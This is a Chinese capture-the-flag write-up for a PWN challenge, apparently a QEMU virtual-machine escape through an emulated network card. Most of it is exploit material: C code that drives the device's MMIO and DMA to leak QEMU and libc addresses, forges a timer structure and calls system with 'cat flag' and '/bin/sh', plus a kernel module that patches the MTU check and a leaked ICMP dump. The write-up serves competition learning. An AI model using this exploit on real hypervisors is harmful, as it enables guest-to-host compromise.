“恭喜你现在的鸡米花等级已经达到五级了,成功晋升十级就可以离开系统了哦。” [说明:本题是一道PWN题]
这次的场景来到了神话传说里的龙都,拥有地球上所拥有的一切,又有着地球人渴望而得不到的东西。
不过经过一番探查我发现这只是一个虚空的壳子而已。
生活在这里的神不知道活了多少年,年月在他们眼中不过是弹指一挥间。
生活无趣,周而复始。
于是这里的人学会了一个新的技能点:八卦。
在龙都吃了几天神仙大佬的瓜之后,一位大仙指着天边的一颗红色星星对我说:“快走吧,龙都的星劫要来了。”
我倒是想走啊,但是有系统的禁锢我哪儿也去不了。
看来这次的任务就是帮龙都的这群大仙们度过此劫了,来吧,我可不信天命。
团队简介:奇安信代码安全实验室安全研究员。
设计思路
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/io.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
unsigned char* mmio_mem;
char buf[0x10000],rxbuf[0x1000];
uint64_t virt2phys(void* p)
{
uint64_t virt = (uint64_t)p;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd == -1)
die("open");
uint64_t offset = (virt / 0x1000) * 8;
lseek(fd, offset, SEEK_SET);
uint64_t phys;
if (read(fd, &phys, 8 ) != 8)
die("read");
phys = (phys & ((1ULL << 54) - 1)) * 0x1000+(virt&0xfff);
return phys;
}
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}
uint64_t mmio_read(uint32_t addr)
{
return *((uint64_t*)(mmio_mem + addr));
}
int main()
{
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);
if (mmio_fd == -1)
die("mmio_fd open failed");
mmio_mem = mmap(0, 0x20000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");
char *dmabuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (dmabuf == MAP_FAILED)
die("mmap");
mlock(dmabuf, 0x1000);
uint64_t dmabuf_phys_addr=virt2phys(buf);
char * rxbuf_phys_addr=virt2phys(rxbuf);
char * dmabuf_phys_addr1=dmabuf_phys_addr;
char *dmabuf_phys_addrz = virt2phys(dmabuf);
mmio_write(0x20,0x4204140);
uint32_t phys_addrh=(uint32_t)(dmabuf_phys_addr>>32);
uint32_t phys_addrl=(uint32_t)(dmabuf_phys_addr&0xffffffff);
mmio_write(0x3804,phys_addrh);
mmio_write(0x3800,phys_addrl);
mmio_write(0x2800,rxbuf_phys_addr);
mmio_write(0x2810,0);
uint64_t *buf1=buf;
uint64_t *rxbuf1=rxbuf;
memset(rxbuf,'a',0x1000);
for(int i=0;i<33;i++){
rxbuf1[2*i+0]=dmabuf_phys_addrz;
rxbuf1[2*i+1]=0xfff0182420ffff;
}
buf[8]=0xff;
buf[9]=0xff;
buf[10]=0x20;
buf[11]=0x24;
buf[0xd]=0x18;
buf[0xe]=0xf0;
buf[0xf]=0xff;
buf[0x18]=0xf0;
buf[0x19]=0xff;
buf[0x1b]=0x24;
buf[0x1a]=0x10;
buf1[2]=dmabuf_phys_addr1+0x30;
buf[0x28]=0xff;
buf[0x29]=0xff;
buf[0x2b]=0x25;
buf[0x2a]=0x10;
buf1[4]=rxbuf_phys_addr+0x100;
memset(buf+0x30,0x0,0x10000);
rxbuf[0x110]=0xf0;
rxbuf[0x111]=0x03;
rxbuf[0x112]=0x01;
rxbuf[0x113]=0x00;
rxbuf[0x114]=0x05;
rxbuf[0x115]=0x06;
rxbuf[0x116]=0x07;
rxbuf[0x117]=0x08;
mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
uint64_t *tmp=dmabuf+4;
uint64_t base=tmp[29]-0x315920;
uint64_t s_base=tmp[18];
uint64_t system=base+0x2b1920;
printf("%llx\n",base);
printf("%llx\n",s_base);
rxbuf1[44]=s_base+0x22bc0+0x100;
uint64_t flag_addr=s_base+0x22bc0+0x300;
memset(buf+0x30,'a',0x100);
memcpy(buf+0x330,"cat flag\x0",9);
tmp=buf+0x130;
tmp[1]=s_base+0x22bc0+0x200;
tmp=buf+0x230;
buf[0x260]=1;
tmp[0]=s_base+0x22bc0+0x280;
tmp[8]=0;
tmp[10]=system;
tmp[11]=flag_addr;
buf[0xd]=0xf8;
mmio_write(0x20,0x4201140);
mmio_write(0x3810,0);
mmio_write(0x3818,0x3);
return 0;
}
本题解题思路由辣鸡战队战队 xym 提供:
sudo ifconfig ens3 mtu 12000 up
if ( a1[148] == (_DWORD)a2 )
goto LABEL_16;
v3 = a1;
v4 = a2;
if ( (a2 & 0x80000000) != 0LL || (unsigned int)a2 < a1[149] )
{
if ( (unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
v17 = a1[149];
v18 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmin;
sub_FFFFFFFF8119E99E(&invalidhwmin, a2, v18, v17);
}
goto LABEL_6;
}
v9 = a1[150];
if ( v9 && (unsigned int)a2 > v9 )
{
if ( !(unsigned int)sub_FFFFFFFF817966B0(a1, a2) )
{
LABEL_6:
v5 = -22;
goto LABEL_7;
}
v12 = a1[149];
v13 = (unsigned int)a2;
a2 = (unsigned __int64)a1;
a1 = (unsigned int *)&invalidhwmax;
v5 = -22;
sub_FFFFFFFF8119E99E(&invalidhwmax, a2, v13, v12);
}
static int hello_init(void) {
printk(KERN_ALERT "Hello, world,%p\n",printk);
offset = (char*)printk - 0xffffffff8119e99e;
dev_set_mtu = offset + 0xFFFFFFFF81779620;
target = offset + 0xFFFFFFFF81779659;
set_memory_rw = (Proc_set_memory_rw)(offset + 0xffffffff8106f230);
set_memory_rw(target - 0x659,10);
disable_wp();
target[0] = 0x89;
target[2] = 0x58;
enable_wp();
set_memory_x(target - 0x659,10);
return 0;
}
#define SYSTEM_PLT 0x2B1920
#define QEMU_CLOCK 0x0FF74A0
#define QEMU_TIMER_NOTIFY_CB 0x3028E0
#define MAIN_LOOP_TLG 0x00FF7480
#define CPU_UPDATE_STATE 0x40A1C0
#define FAKE_STRUCT 0xffb300
Recieved ICMP Replay : :
0000 52 54 00 12 34 56 52 55 0a 00 02 02 08 00 45 00 RT..4VRU......E.
0010 00 1c 00 02 00 00 ff 01 a3 ce 0a 00 02 02 0a 00 ................
0020 02 0f 00 00 ff ff 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 a5 98 00 00 00 00 00 00 ................
0040 b8 bb 00 1c 53 7f 00 00 d0 23 01 1c 53 7f 00 00 ....S....#..S...
0050 c0 a3 00 1c 53 7f 00 00 c0 a3 00 1c 53 7f 00 00 ....S.......S...
0060 00 00 00 00 00 00 00 00 02 00 00 00 24 00 00 00 ............$...
0070 32 00 00 00 00 00 00 00 1c 00 00 00 00 00 00 00 2...............
0080 c0 ca c0 23 53 7f 00 00 5c ca c0 23 53 7f 00 00 ...#S...\..#S...
0090 60 ca c0 23 53 7f 00 00 00 00 00 00 00 00 00 00 `..#S...........
00a0 30 00 00 00 00 00 08 ff 80 00 00 00 00 00 00 00 0...............
00b0 80 00 00 00 00 00 00 00 80 04 00 00 00 00 00 00 ................
00c0 70 7f db 40 77 55 00 00 90 cb c0 23 53 7f 00 00 p..@wU.....#S...
00d0 00 00 00 23 53 7f 00 00 16 00 00 23 53 7f 00 00 ...#S......#S...
00e0 2d 00 00 23 53 7f 00 00 d3 ef ff 00 00 00 00 00 -..#S...........
00f0 a0 cb c0 23 53 7f 00 00 88 cb c0 23 53 7f 00 00 ...#S......#S...
0110 00 00 00 00 00 00 00 00 30 bb 00 1c 53 7f 00 00 ........0...S...
0120 68 bb 00 00 00 00 00 00 00 00 h.........
struct QEMUTimer {
int64_t expire_time;
void *timer_list;
void *cb;
void *opaque;
void *next;
int attributes;
int scale;
};
struct QEMUTimerList {
void * clock;
char active_timers_lock[0x30];
struct QEMUTimer *active_timers;
struct QEMUTimerList *le_next; \
struct QEMUTimerList **le_prev; \
void *notify_cb;
void *notify_opaque;
size_t timers_done_ev;
};
*(size_t *)&tl->active_timers_lock[0x28] = 1;
char cmd[] = "id;cat flag;/bin/sh";
【上海第五空间信息科技研究院】(简称:第五空间)是经上海市社会组织管理局批准成立,上海市科协作为业务主管部门的新型研发机构,由翼盾智能科技创始人积聚社会力量发起成立,立足科技事业,支撑国家战略,开展科技研究,推进协同创新。
【杭州安恒信息技术股份有限公司】(简称:安恒信息)成立于2007年,科创板股票代码:688023,一直专注于网络信息安全领域,公司主营业务为网络信息安全产品的研发、生产及销售,并为客户提供专业的网络信息安全服务。公司的产品及服务涉及应用安全、大数据安全、云安全、物联网安全、工业控制安全及工业互联网安全等领域。